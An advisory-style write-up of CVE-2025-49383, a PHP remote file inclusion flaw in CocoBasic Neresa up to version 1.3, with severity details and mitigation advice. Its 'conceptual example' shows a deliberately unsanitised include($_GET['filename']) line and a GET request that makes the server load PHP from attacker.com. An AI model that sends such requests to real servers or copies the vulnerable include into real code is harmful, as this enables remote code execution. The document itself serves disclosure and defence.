Overview
CVE-2025-49383 is a critical vulnerability affecting CocoBasic Neresa, a popular PHP-based software tool. This vulnerability arises due to an improper control of the filename for the Include/Require statement in the PHP program, commonly referred to as ‘PHP Remote File Inclusion’. The exploit could potentially lead to system compromise or data leakage, impacting any organization that utilizes this software. Given the widespread use of PHP in the development community, it’s crucial to understand this vulnerability and take appropriate measures to mitigate its effect.
Vulnerability Summary
CVE ID: CVE-2025-49383
Severity: Critical, CVSS 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
CocoBasic Neresa | Up to 1.3
How the Exploit Works
This vulnerability is exploited by manipulating the filename in an Include/Require statement in a PHP program. The attacker can include a file from a remote server that contains malicious code. This allows the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited:
<?php
// The following line is vulnerable because it does not validate
// or sanitize the filename properly before using it.
include($_GET['filename']);
?>An attacker could exploit this by sending a specially crafted request like this:
GET /vulnerable_page.php?filename=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, `attacker.com/malicious_file.php` contains the malicious PHP code that the attacker wants to execute on the server.
Mitigation Guidance
The best mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These tools can be configured to block or alert on suspicious requests that seem to be exploiting this vulnerability.
It is also advisable to follow secure coding practices to prevent these vulnerabilities in the first place. Specifically, validate and sanitize all user inputs and avoid using user inputs directly in Include/Require statements in PHP programs.
